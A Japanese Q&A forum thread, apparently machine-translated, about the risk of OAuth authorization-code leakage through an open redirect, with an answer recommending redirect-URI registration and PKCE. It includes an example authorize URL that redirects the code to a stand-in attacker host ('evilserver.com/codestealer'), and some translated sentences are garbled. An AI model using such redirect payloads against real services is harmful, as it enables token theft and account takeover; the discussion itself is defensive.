2017-12-01 5 views
0

mykittenblog.comに代わってpayment.comに電話をかけることをユーザーが希望しているとします。 mykittenblog.comている人は、そうpayment.comがmykittenblog.com支払いでのOAuthベアラートークンを取得するために、そのクライアントシークレットと一緒に使用することができ、中間認証コードで応答することができますので、中間OAuth認証コードの漏洩の危険性は何ですか?

payment.com/oauth2/authorize?id=12345&redirect=http://mykittenblog.com 

ようpayment.comでログイン.com

ここで、 'redirect'パラメータには、認証コードの漏洩を可能にするオープンリダイレクトの脆弱性があります。

payment.com/oauth2/authorize?id=12345&redirect=http://evilserver.com/codestealer 

payment.comのユーザがログインすると

Location: http://evilserver.com/codestealer?code=4312871236481723874 

このような状況で可能な危険性は何ですか?で応答するかどうか

答えて

1

悪意のあるアプリケーションによって中間認証コードが盗まれた場合、アクセストークンを発行してリソースにアクセスできるようになります。リフレッシュトークンも発行された場合は、いつでもそのアクセストークンを更新することができます。

クライアントが機密情報の場合、悪意のあるクライアントがアプリケーションの資格情報を取得する必要があるため、リークは制限されます(ただし不可能ではありません)。

これらはコードの漏れを防ぐための対策です。 リダイレクトURLの登録は良いスタートですが、十分ではありません。 もう1つの方法は、RFC7636に記載されたコード交換のためのプルーフキーの使用です。このPKCEがなければ、攻撃が容易に推測できないため、悪質なアプリケーションがアクセストークンを発行することはできません。

私の見解では、PKCEの使用は常に行われるべきであり、公開クライアントに限定されるものではありません。

関連する問題